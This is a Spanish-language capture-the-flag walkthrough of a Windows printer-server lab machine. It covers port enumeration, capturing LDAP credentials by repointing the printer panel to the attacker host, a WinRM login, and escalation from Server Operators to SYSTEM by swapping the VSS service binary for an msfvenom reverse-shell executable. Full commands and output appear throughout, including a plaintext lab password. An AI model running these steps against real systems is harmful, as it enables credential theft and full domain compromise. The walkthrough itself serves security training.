Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 80
que corre un servicio http
❯ nmap 10.10.11.108
Nmap scan report for 10.10.11.108
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49677/tcp open unknown
49680/tcp open unknown
49688/tcp open unknown
49698/tcp open unknown
Con crackmapexec
ademas del nombre de la maquina obtenemos su dominio
❯ crackmapexec smb 10.10.11.108
SMB 10.10.11.108 445 PRINTER [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
Para posibles proximos ataques o solo por comodidad lo agregamos al /etc/hosts
❯ echo "10.10.11.108 return.local" | sudo tee -a /etc/hosts
Iniciemos con la web
, al abrirla podemos ver un panel
de admin de una impresora
, la web es algo sencilla sin embargo en la parte de arriba tenemos varias pestañas
Shell - svc-printer
En la pestaña settings
encontramos que podemos cambiar varias cosas, y en un campo hay una contraseña
por defecto que de primeras no podemos verla
Parece hace una petición al host por el puerto 389
ldap enviando el usuario y la contraseña
, podemos cambiar el host
por el nuestro para capturar
la petición
Con Wireshark
podemos capturar todo el tráfico
entrante, al enviar la petición en la web
recibimos trafico ldap
el cual contiene las credenciales
de svc-printer
Comprobamos las credenciales con crackmapexec
y son validas tanto para smb
como para winrm
lo que significa que nos podemos conectar y obtener una shell
❯ crackmapexec smb return.local -u svc-printer -p '1edFg43012!!'
SMB return.local 445 PRINTER [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB return.local 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
❯ crackmapexec winrm return.local -u svc-printer -p '1edFg43012!!'
SMB return.local 5985 PRINTER [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP return.local 5985 PRINTER [*] http://return.local:5985/wsman
WINRM return.local 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
Al conectarnos con evil-winrm
obtenemos una powershell
, podemos leer la flag
❯ evil-winrm -i return.local -u svc-printer -p '1edFg43012!!'
PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
PS C:\Users\svc-printer\Documents> type ..\Desktop\user.txt
889**************************751
PS C:\Users\svc-printer\Documents>
Shell - Administrator
Listando los grupos
a los que pertenecemos podemos ver uno bastante inusual y que nos puede servir para escalar privilegios
, este es Server Operators
PS C:\Users\svc-printer\Documents> Get-ADPrincipalGroupMembership svc-printer | Select Name
Name
----
Domain Users
Print Operators
Remote Management Users
Server Operators
PS C:\Users\svc-printer\Documents>
Para explotarlo iniciamos creando un archivo exe
con msfvenom
el cual se encargara de enviarnos una powershell
a nuestro host
por el puerto 443
cuando se ejecute
❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1887 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe
Podemos subirlo
facilmente con la función upload
incluida con evil-winrm
PS C:\Users\svc-printer\Documents> upload shell.exe
Info: Uploading shell.exe to C:\Users\svc-printer\Documents\shell.exe
Data: 10920 bytes of 10920 bytes copied
Info: Upload successful!
PS C:\Users\svc-printer\Documents>
Ahora con sc.exe
configuramos el servicio VSS
pasandole como binpath
la ruta absoluta de nuestro archivo exe
malicioso, para cuando se inicie este lo ejecute
PS C:\Users\svc-printer\Documents> sc.exe config VSS binpath="C:\Users\svc-printer\Documents\shell.exe"
[SC] ChangeServiceConfig SUCCESS
PS C:\Users\svc-printer\Documents>
Detenemos y corremos de nuevo el servicio
para que en el arranque ejecute el exe
, al hacerlo recibimos una shell
a nuestro listener como nt authority\system
PS C:\Users\svc-printer\Documents> sc.exe stop VSS
[SC] ControlService FAILED 1062:
The service has not been started.
PS C:\Users\svc-printer\Documents> sc.exe start VSS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
PS C:\Users\svc-printer\Documents>
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.108 50603
Windows PowerShell running as user PRINTER$ on PRINTER
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
847**************************72c
PS C:\Windows\system32>